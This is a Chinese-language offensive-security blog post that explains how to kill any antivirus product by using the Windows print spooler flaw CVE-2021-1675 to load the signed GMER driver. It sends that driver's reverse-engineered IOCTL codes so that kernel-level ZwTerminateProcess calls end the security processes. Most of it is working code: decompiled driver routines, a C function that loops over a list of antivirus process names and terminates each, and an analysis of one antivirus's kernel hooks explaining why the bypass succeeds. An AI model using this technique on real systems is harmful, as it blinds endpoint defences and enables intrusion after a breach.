从CVE_2021_1675到关闭任意杀软

2022-06-06 08:16:26 浏览数 (2)

前言

在进行实战攻防中,免杀是在突破边界防御后面临的首要问题,在通过建立据点,横向移动来扩大攻击成果的过程中,都有杀软在进行拦截,现在常用的免杀手法,例如反射型dll注入、直接系统调用、加密混淆等,都是在解决如何躲避杀软的查杀。而对于免杀来说,一劳永逸的解决方法,毫无疑问是在杀软的监控下关闭杀软。本文通过windows打印机漏洞(CVE_2021_1675)来加载签名驱动,并通过调用驱动的方式来实现从内核层关闭杀软。

一、加载驱动服务

加载驱动服务有两个问题,分别是如何绕过杀软加载驱动服务加载什么驱动服务

1、如何绕过杀软加载驱动服务

启动驱动程序的过程中,要新建驱动程序服务,此操作会被杀软拦截。

采用CVE_2021_1675来绕过杀软监控加载驱动服务。

CVE_2021_1675的原理是通过spoolsv.exe加载任意dll程序,因为spoolsv.exe是应用程序白名单,所以可以采用此白加黑的方式来进行驱动服务加载。

2、加载什么驱动服务

在windows中,对驱动进行的保护为主要有PG(PatchGuard)和DES数字签名检较

其中PG限制驱动程序禁止以下操作,否则会蓝屏或重新启动

代码语言:javascript复制
对系统服务描述表进行修改或钩子(Hook)
修改系统调用表
修改中断描述表
修改全局描述表
使用未由内核分配的内核堆栈
修改或修补内核本身、硬件抽象层(HAL)或网络驱动程序接口规范(NDIS)内核库中包含的代码

因为这些限制,要进行内核层的操作,需要带签名的驱动程序。并且驱动程序能调用ZwTerminateProcess函数进行关闭进程的操作,通过在网上找到GMER(http://www.gmer.net)的驱动程序,并进行逆向分析。

二、和驱动通信并关闭进程

GMER驱动分析

在windows中,关闭进程的内核函数都会调用ZwTerminateProcess函数,所以通过ida全局搜索ZwTerminateProcess字符串,来获取到驱动具体的调用ZwTerminateProcess函数的位置。

代码语言:javascript复制
__int64 __fastcall new_TerminateProcess(unsigned int pid)
{
  NTSTATUS v1; // eax
  unsigned int v2; // ebx
  struct _CLIENT_ID ClientId; // [rsp 30h] [rbp-78h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp 40h] [rbp-68h] BYREF
  struct _KAPC_STATE ApcState; // [rsp 70h] [rbp-38h] BYREF
  PVOID Object; // [rsp B8h] [rbp 10h] BYREF
  void *ProcessHandle; // [rsp C0h] [rbp 18h] BYREF

  ClientId.UniqueThread = 0i64;
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0i64;
  ObjectAttributes.SecurityDescriptor = 0i64;
  ObjectAttributes.SecurityQualityOfService = 0i64;
  ClientId.UniqueProcess = (HANDLE)pid;//pid传入的地方
  KeStackAttachProcess(Process, &ApcState);
  v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); //通过pid打开具体的handle
  v2 = v1 == 0;
  if ( !v1 )//为成功打开句柄,执行下列操作
  {
    if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0i64, 0, &Object, 0i64) )
    {
      switch ( dword_1CE40 )
      {
        case 1281:
          *((_DWORD *)Object   146) &= 0xFFFFDFFF;
          break;
        case 1282:
          *((_DWORD *)Object   144) &= 0xFFFFDFFF;
          break;
        case 1536:
          *((_DWORD *)Object   138) &= 0xFFFFDFFF;
          break;
        case 1537:
          *((_DWORD *)Object   156) &= 0xFFFFDFFF;
          break;
        case 1538:
          *((_DWORD *)Object   154) &= 0xFFFFDFFF;
          break;
      }
      ObfDereferenceObject(Object);
    }
    v2 = ZwTerminateProcess(ProcessHandle, 0); //关闭handle
    ZwClose(ProcessHandle);
  }
  KeUnstackDetachProcess(&ApcState);
  return v2;
}

通过查找此函数的调用链,找到与此函数通信的的IOCTL code为0x9876C094。

代码语言:javascript复制
    case 0x9876C094:
      if ( a3 != 4 || !a2 ) //判断输入buffer长度为4,且值不为0
      {
        *a7 = -1073741306;
        return 3221225990i64;
      }
      v44 = new_TerminateProcess(*a2);//调用函数
      v45 = a7;
      *a7 = v44;
      goto LABEL_171;

在应用层和驱动通信的函数DeviceIoControl的参数格式为

代码语言:javascript复制
BOOL DeviceIoControl(
  HANDLE       hDevice,         //通过CreateFile打开的驱动程序句柄
  DWORD        dwIoControlCode,   //和驱动通信的code,这个参数会传入驱动中,并通过switch case语句来实现对驱动的函数调用
  LPVOID       lpInBuffer, //输入参数指针
  DWORD        nInBufferSize, //输入参数大小
  LPVOID       lpOutBuffer, //输出参数指针
  DWORD        nOutBufferSize, //输出参数大小
  LPDWORD      lpBytesReturned,//指向变量的指针
  LPOVERLAPPED lpOverlapped //指向OVERLAPPED结构的指针
);

因此,通过逆向能获取到DeviceIoControl()函数的参数dwIoControlCode为0x9876C094,并且lpInBuffer为指向的值为PID,nInBufferSize的值也必须是4。

通过上面获取到的参数和驱动通信后,发现无法关闭进程,且返回的windows error code一直是87,即传入参数错误。通过继续逆向分析驱动发现,仅仅通过一次DeviceIoControl()还不够,GMER驱动还在执行terminateprocess函数之前,进行了一次初始化。

代码语言:javascript复制
if ( a6 == 0x9876C004 )  // dword_1C120相当于驱动的开关,当IoControlCode是0x9876C004开启
  {
    v12 = dword_1C120;
    if ( !dword_1C120 )
      v12 = 1;
    dword_1C120 = v12;  // 最终使得 dword_1C120 = v12 = 1
  }
  else  // 否则 v12 = dword_1C120 = 0
  {
    v12 = dword_1C120;
  }
  if ( !v12 )  // 如果v12 = 0,返回错误
  {
    *a7 = 0xC000000D;
    *((_QWORD *)a7   1) = 0i64;
    return 0xC000000Di64;
  }
  switch ( a6 )
  {
        case 0x9876C004:  // 通知用户空间进程,驱动功能开启
      if ( a5 >= 4 && a4 )
      {
        *(_DWORD *)a4 = 1;
        *((_QWORD *)a7   1) = 4i64;
        *a7 = 0;
        result = 0i64;
      }
      else
      {
        *a7 = -1073741306;
        result = 3221225990i64;
      }
      return result;

    ...
    case 0x9876C094:  // new_TerminateProcess
      if ( a3 != 4 || !a2 )
      {
        *a7 = -1073741306;
        return 3221225990i64;
      }
      v44 = TerminateProcess(*a2);
      v45 = a7;
      *a7 = v44;
      goto LABEL_171;
  }

因此,必须在调用函数之前调用0x9876C004进行初始化。

最后进行驱动调用的函数为

代码语言:javascript复制
VOID TerminateProcessByDriver(LPTSTR driverName, DWORD pid) {
    HANDLE hDriver = INVALID_HANDLE_VALUE;
    TCHAR driverPath[MAX_PATH] = _T("\\.\");

    _tcscat_s(driverPath, MAX_PATH, driverName);
    hDriver = CreateFile(driverPath, GENERIC_ALL, 0, NULL, OPEN_EXISTING, 0, NULL); //打开驱动程序的句柄
    if (hDriver == INVALID_HANDLE_VALUE) {
        _tprintf(_T("[-] Driver open failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
        return;
    }
    else {
        BOOL bResult = FALSE;
        DWORD junk = 0;
        DWORD dwOut = 0;

        bResult = DeviceIoControl(hDriver,
            IOCTL_INIT,
            &pid, sizeof(pid),
            &dwOut, sizeof(dwOut),
            &junk,
            (LPOVERLAPPED)NULL);//对驱动程序进行初始化

        if (!bResult)
        {
            _tprintf(_T("[-] Init failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
            CloseHandle(hDriver);
            return;
        }
        else if (pid == 0) {
            for (DWORD index = 0;index < AV_LIST_LEN; index  ) {
                DWORD dwPid = 0;
                if (GetProcessIdByName((LPTSTR)AV_LIST[index], &dwPid)) { //通过传入的进程名来获取pid
                    bResult = DeviceIoControl(hDriver,
                        IOCTL_ZwTerminateProcess,
                        &dwPid, sizeof(dwPid),
                        &dwOut, sizeof(dwOut),
                        &junk,
                        (LPOVERLAPPED)NULL); //调用TerminateProcess来关闭pid进程

                    if (bResult)
                        _tprintf(_T("[ ] Terminate process succeed %s(%u)n"), (LPTSTR)AV_LIST[index], dwPid);
                }
                else
                    _tprintf(_T("[-] Not found %s processn"), (LPTSTR)AV_LIST[index]);
            }
        }
        else {
            bResult = DeviceIoControl(hDriver,
                IOCTL_ZwTerminateProcess,
                &pid, sizeof(pid),
                &dwOut, sizeof(dwOut),
                &junk,
                (LPOVERLAPPED)NULL);//根据传入的pid来关闭进程

            if (bResult)
            {
                _tprintf(_T("[ ] Terminate process succeed %dn"), pid);
                CloseHandle(hDriver);
            }
            else
            {
                _tprintf(_T("[-] Terminate process failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
                CloseHandle(hDriver);
                ExitProcess(1);
            }
        }
    }
}

三、驱动如何绕过杀软在内核态的防御

此处以某杀软为例,来分析此方法是如何绕过杀软拦截的。

杀软在内核态中对应用层的防护主要是通过对Zw函数的hook实现,win32 api先调用对应ntdll.dll中的nt函数,再通过ntdll.dll调用Ntoskrnl.exe中的内核Zw函数,杀软通过对Zw函数hook,来实现对应用层所有调用Zw函数的win32 api函数的hook。

在杀软的驱动中,实现了对Zw函数的hook,其中ZwTerminateProcess函数的过滤规则是下面的方法实现。

代码语言:javascript复制
int __stdcall sub_197B2(int a1, int a2, int a3, int a4)
{
  KPROCESSOR_MODE v4; // al
  int v5; // esi
  HANDLE v6; // eax
  HANDLE v7; // edi
  HANDLE v8; // eax
  HANDLE v9; // eax
  PKTHREAD v10; // eax
  HANDLE v11; // eax
  KPROCESSOR_MODE v12; // al
  HANDLE v13; // esi
  HANDLE v15; // esi
  int v16; // [esp-4h] [ebp-2Ch]
  char ProcessInformation[20]; // [esp Ch] [ebp-1Ch] BYREF
  void *v18; // [esp 20h] [ebp-8h]
  PVOID Object; // [esp 24h] [ebp-4h] BYREF

  v4 = ExGetPreviousMode(); //是否是来自应用层的调用
  v5 = a2;
  if ( v4 == 1 && Safe_GetGrantedAccess(*(HANDLE *)a2, (int)&a2) >= 0 && (a2 & 1) == 0 )//获取结束进程句柄
  {
    if ( Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束目标是否是保护进程
    {
      v6 = PsGetCurrentProcessId();
      if ( !Safe_QueryWhitePID(v6) )//调用者是否是保护进程
      {
        v7 = PsGetCurrentProcessId();
        if ( Safe_CmpImageFileName("taskkill.exe") )//判断是否是用dos命令来结束进程
        {
          if ( ZwQueryInformationProcess((HANDLE)0xFFFFFFFF, ProcessBasicInformation, ProcessInformation, 0x18u, 0) >= 0 )
            v7 = v18;//获取父进程pid
        }
        v16 = Safe_GetUniqueProcessId(*(HANDLE *)v5);
        v8 = PsGetCurrentThreadId();
        safe_judge(v7, v8, v16);//判断是否是用任务管理器来结束进程,并对程序进行拦截或着是放行
        return -1073741790; //denied
      }
    }
  }
  v9 = PsGetCurrentProcessId();//判断是否是由csrss.exe来结束进程
  if ( !Safe_QueryWhitePID(v9)//查询当前进程是否是白名单
    && Safe_CmpImageFileName("csrss.exe")//进程是否是csrss.exe
    && g_Win2K_XP_2003_Flag //windows高版本
    && !*(_DWORD *)(v5   4)
    && Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束的目标进程是否是白名单
  {
    return -1073741790;//denied
  }
  if ( *(_DWORD *)v5 != -1  //非自身
    || KeGetCurrentIrql() == 1 //irql中断等级
    || (v10 = KeGetCurrentThread(), !Safe_QueryWhitePID_PsGetThreadProcessId(v10)) )//调用者非白名单
  {
    v11 = *(HANDLE *)v5;
    if ( !*(_DWORD *)v5 || v11 == (HANDLE)-1 ) //检查是否获取到句柄
    {
      Object = IoGetCurrentProcess();
    }
    else
    {
      if ( !Safe_QueryObjectType(v11, (wchar_t *)L"Process") )//句柄不是process类型就退出
        return 0;
      v12 = ExGetPreviousMode();//获取eprocess结构
      if ( ObReferenceObjectByHandle(*(HANDLE *)v5, 0, (POBJECT_TYPE)PsProcessType, v12, &Object, 0) < 0 )
        return 0;
    }
    if ( Safe_QueryWhitePID_PsGetProcessId(Object) && (KeGetCurrentIrql() == 1 || !ExGetPreviousMode()) )
    {
      v13 = *(HANDLE *)v5;
      if ( v13 && v13 != (HANDLE)-1 )
        ObfDereferenceObject(Object);//对象的引用计数减一
      return -1073741790;//denied
    }
    v15 = *(HANDLE *)v5;
    if ( v15 && v15 != (HANDLE)-1 )
      ObfDereferenceObject(Object);
  }
  return 0;
}

因为通过驱动调用的Zw函数是从内核层进行的调用,所以跳过了对参数的检查,实现了关闭程序的功能。

杀软hook的Zw函数还有下面这些。

代码语言:javascript复制
//创建文件
#define ZwCreateFile_FilterIndex                            0x8
//写文件
#define    ZwWriteFile_FilterIndex                                0xB
//创建进程
#define    ZwCreateProcess_FilterIndex                            0xD
//创建进程Ex
#define    ZwCreateProcessEx_FilterIndex                        0xE
//创建线程
#define ZwCreateThread_FilterIndex                            0x10 
//打开线程
#define ZwOpenThread_FilterIndex                            0x11
//删除文件
#define ZwDeleteFile_FilterIndex                            0x12
//打开文件
#define ZwOpenFile_FilterIndex                                0x13 
//结束进程
#define ZwTerminateProcess_FilterIndex                        0x15 
//跨进程写内容
#define ZwWriteVirtualMemory_FilterIndex                    0x1A
//创建文件映射
#define ZwCreateSection_FilterIndex                            0x1E
//打开section object
#define ZwOpenSection_FilterIndex                            0x1F
//创建符号链接
#define ZwCreateSymbolicLinkObject_FilterIndex                0x20
//加载驱动
#define ZwLoad_Un_Driver_FilterIndex                        0x22
//加载驱动
#define ZwSetSystemInformation_FilterIndex                    0x24
//设置时间
#define ZwSetSystemTime_FilterIndex                         0x25
//打开进程
#define ZwOpenProcess_FilterIndex                            0x2F
//打开注册表键值
#define ZwOpenKey_FilterIndex                                0x32
//拷贝句柄
#define ZwZwDuplicateObject_FilterIndex                        0x33
//RPC通讯
#define ZwAlpcSendWaitReceivePort_FilterIndex               0x44
//进程回调
#define    CreateProcessNotifyRoutine_FilterIndex                0x45
//取消映射目标进程的内存
#define ZwUnmapViewOfSection_FilterIndex                    0x46
//拦截DLL注入的
#define    ClientLoadLibrary_FilterIndex                        0x4B
//分配空间
#define ZwAllocateVirtualMemory_FilterIndex                    0x4E
//打开互斥体
#define ZwOpenMutant_FilterIndex                            0x51
//遍历线程
#define ZwGetNextThread_FilterIndex                            0x53
//遍历进程
#define ZwGetNextProcess_FilterIndex                        0x54
//枚举valuekey
#define ZwEnumerateValueKey_FilterIndex                        0x59
//永久对象转化成临时对象
#define ZwMakeTemporaryObject_FilterIndex                   0x7F
//线程挂起
#define ZwSuspendThread_FilterIndex                            0x93
//进程挂起
#define    ZwSuspendProcess_FilterIndex                        0x94
//取消映射目标进程的内存 Win8~Win10
#define ZwUnmapViewOfSectionIndex_Win8_Win10_FilterIndex    0x96

0 人点赞